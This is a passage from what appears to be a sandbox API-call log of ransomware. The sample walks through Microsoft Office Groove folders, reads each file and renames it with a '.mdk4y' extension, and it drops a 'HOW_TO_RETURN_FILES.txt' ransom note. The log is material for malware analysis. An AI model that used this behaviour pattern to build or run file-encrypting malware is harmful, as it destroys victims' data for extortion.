returned 1 [0221.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829695200000) returned 1 [0221.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif.mdk4y")) returned 1 [0221.723] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.723] AreFileApisANSI () returned 1 [0221.723] GetACP () returned 0x4e4 [0221.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_increaseindent.gif", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_increaseindent.gif", lpUsedDefaultChar=0x37dda8) returned 22 [0221.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829695700000) returned 1 [0221.727] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35d, lpOverlapped=0x0) returned 1 [0221.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829696300000) returned 1 [0221.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829696300000) returned 1 [0221.734] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif.mdk4y")) returned 1 [0221.735] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.735] AreFileApisANSI () returned 1 [0221.735] GetACP () returned 0x4e4 [0221.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_justify.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_justify.gifent.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0221.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829696600000) returned 1 [0221.736] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x352, lpOverlapped=0x0) returned 1 [0221.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829697600000) returned 1 [0221.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829697600000) returned 1 [0221.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif.mdk4y")) returned 1 [0221.748] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.748] AreFileApisANSI () returned 1 [0221.748] GetACP () returned 0x4e4 [0221.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_pressed.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_pressed.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0221.748] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829697900000) returned 1 [0221.749] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x373, lpOverlapped=0x0) returned 1 [0221.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829700200000) returned 1 [0221.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829700200000) returned 1 [0221.772] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif.mdk4y")) returned 1 [0221.774] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.774] AreFileApisANSI () returned 1 [0221.774] GetACP () returned 0x4e4 [0221.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVE.GIF", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SAVE.GIFsed.gif", lpUsedDefaultChar=0x37dda8) returned 8 [0221.774] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\save.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829700500000) returned 1 [0221.775] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x26d, lpOverlapped=0x0) returned 1 [0221.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829700600000) returned 1 [0221.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829700600000) returned 1 [0221.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\save.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\save.gif.mdk4y")) returned 1 [0221.814] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.814] AreFileApisANSI () returned 1 [0221.814] GetACP () returned 0x4e4 [0221.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUBMIT.JS", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SUBMIT.JSed.gif", lpUsedDefaultChar=0x37dda8) returned 9 [0221.814] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\submit.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829704500000) returned 1 [0221.815] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x15162, lpOverlapped=0x0) returned 1 [0221.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705000000) returned 1 [0221.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705000000) returned 1 [0221.821] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\submit.js.mdk4y")) returned 1 [0221.822] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.822] AreFileApisANSI () returned 1 [0221.822] GetACP () returned 0x4e4 [0221.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="utilityfunctions.js", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="utilityfunctions.jsgif", lpUsedDefaultChar=0x37dda8) returned 19 [0221.822] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705300000) returned 1 [0221.823] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xefe7, lpOverlapped=0x0) returned 1 [0221.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705500000) returned 1 [0221.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705500000) returned 1 [0221.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js.mdk4y")) returned 1 [0221.827] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.827] AreFileApisANSI () returned 1 [0221.827] GetACP () returned 0x4e4 [0221.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="validation.js", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="validation.jsons.js", lpUsedDefaultChar=0x37dda8) returned 13 [0221.827] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705800000) returned 1 [0221.828] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x75aa, lpOverlapped=0x0) returned 1 [0221.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705900000) returned 1 [0221.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829705900000) returned 1 [0221.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js.mdk4y")) returned 1 [0221.832] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0221.832] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0221.833] AreFileApisANSI () returned 1 [0221.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0221.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0221.834] GetFileType (hFile=0x130) returned 0x1 [0221.835] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0221.835] AreFileApisANSI () returned 1 [0221.835] GetACP () returned 0x4e4 [0221.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveProjectToolset", cchWideChar=20, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrooveProjectToolset", lpUsedDefaultChar=0x37de34) returned 20 [0221.835] AreFileApisANSI () returned 1 [0221.836] GetACP () returned 0x4e4 [0221.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=91, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\h") returned 91 [0221.842] AreFileApisANSI () returned 1 [0221.842] GetACP () returned 0x4e4 [0221.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0221.842] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.843] AreFileApisANSI () returned 1 [0221.843] GetACP () returned 0x4e4 [0221.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0221.843] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.843] AreFileApisANSI () returned 1 [0221.843] GetACP () returned 0x4e4 [0221.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BriefcaseIcon.jpg", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BriefcaseIcon.jpgf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 17 [0221.843] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829707500000) returned 1 [0221.845] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x140b, lpOverlapped=0x0) returned 1 [0221.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829707900000) returned 1 [0221.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829707900000) returned 1 [0221.849] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg.mdk4y")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.852] AreFileApisANSI () returned 1 [0221.852] GetACP () returned 0x4e4 [0221.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BriefcaseIconMask.bmp", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BriefcaseIconMask.bmpd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 21 [0221.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829708300000) returned 1 [0221.853] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xf76, lpOverlapped=0x0) returned 1 [0221.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829709500000) returned 1 [0221.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829709600000) returned 1 [0221.866] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp.mdk4y")) returned 1 [0221.868] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.868] AreFileApisANSI () returned 1 [0221.868] GetACP () returned 0x4e4 [0221.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CircleIcons.jpg", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CircleIcons.jpgsk.bmp", lpUsedDefaultChar=0x37dda8) returned 15 [0221.868] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829710000000) returned 1 [0221.870] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x32cd, lpOverlapped=0x0) returned 1 [0221.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829712100000) returned 1 [0221.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829712100000) returned 1 [0221.892] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg.mdk4y")) returned 1 [0221.893] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.893] AreFileApisANSI () returned 1 [0221.893] GetACP () returned 0x4e4 [0221.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CircleIconsMask.bmp", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CircleIconsMask.bmpmp", lpUsedDefaultChar=0x37dda8) returned 19 [0221.893] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829712400000) returned 1 [0221.894] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, 